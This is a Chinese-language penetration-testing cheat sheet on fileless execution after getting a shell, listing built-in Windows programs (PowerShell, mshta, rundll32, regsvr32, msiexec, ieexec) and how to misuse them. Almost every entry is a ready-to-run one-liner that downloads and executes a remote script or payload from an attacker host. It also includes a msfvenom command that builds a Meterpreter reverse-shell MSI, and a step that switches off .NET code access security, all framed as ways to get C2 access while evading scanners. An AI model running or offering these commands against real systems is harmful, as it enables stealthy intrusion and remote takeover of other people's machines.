在我们渗透过程中,当getshell或者能够执行命令后需要上线C2时,一般是执行下载(或上传)将文件写入目标服务器后执行。这种方式会留下一个二进制文件可能会被扫描查杀。
而通过一些系统或组件自带命令进行文件不落地执行,这种方式不会留下二进制文件,更具有隐蔽性。本文将列举一些文件不落地的命令方法。
在win7/2008开始引入的一种跨平台的任务自动化解决方案,由命令行 shell、
脚本语言和配置管理框架组成。
powershell功能十分强大。一行命令即可直接执行远程文件。
文件路径:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
支持系统: >= win7/win2008
用法:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/test.ps1'))"
mshta.exe是Windows操作系统内置程序,用于执行.hta文件(HTML应用程序)
文件路径:
C:\Windows\System32\mshta.exe
支持系统: win7-win11
用法:
vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
mshta http://webserver/payload.hta
/cmd /c mshta.exe javascript:a(GetObject("script:http://1.1.1.1/m.sct")).Exec();close();
Rundll32.exe是win系统非常重要的核心程序。它的作用是执行DLL文件,在命令行下调用动态链接程序库。
系统中还有一个Rundll64.exe文件,它的意思是"执行64位的DLL文件",这两个是病毒软件制作者的最爱,也是在以往病毒分析报告中出现最多的应用媒介
文件路径:
C:\Windows\System32\rundll32.exe
支持系统: win7 -win11
用法:
远程加载:
C:\Windows\SysWOW64\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:http://192.168.1.4/Rundll32_shellcode"
执行远程文件
Regsvr32是用于注册COM组件,Windows 命令行下提供的注册控件或者卸载控件的命令
文件路径:
C:\Windows\System32\Regsvr32.exe
支持系统: win7 -win11
用法:
regsvr32 /u /n /s /i:http://192.168.173.45:8800/file.sct scrobj.dll
win核心应用,用于安装msi包。是Windows Installer的一部分。
文件路径:
C:\Windows\System32\msiexec.exe
支持系统: win7 -win11
用法:
msiexec.exe /q /i http://192.168.173.45/test.msi
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.14.1 -f msi > test.msi
msiexec.exe /q /i http://192.168.173.45/test.msi
IEexec.exe是.NET Framework附带程序,.NET框架在win系统自带。
而同目录下的Csc.exe就是C#的语言编译器
文件路径:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe
支持系统: win7 -win11
用法:
cd C:\Windows\Microsoft.NET\Framework64\v2.0.50727
caspol -s off
ieexec http://ip:8080/test.exe
这里只列举了一些常用不落地执行方法,当然还有很多方法比如利用特定版本中组件的方法。使用这些方法需要满足出网条件,实战中还是需要开阔思路,找到现有场景中的缺陷才能bypass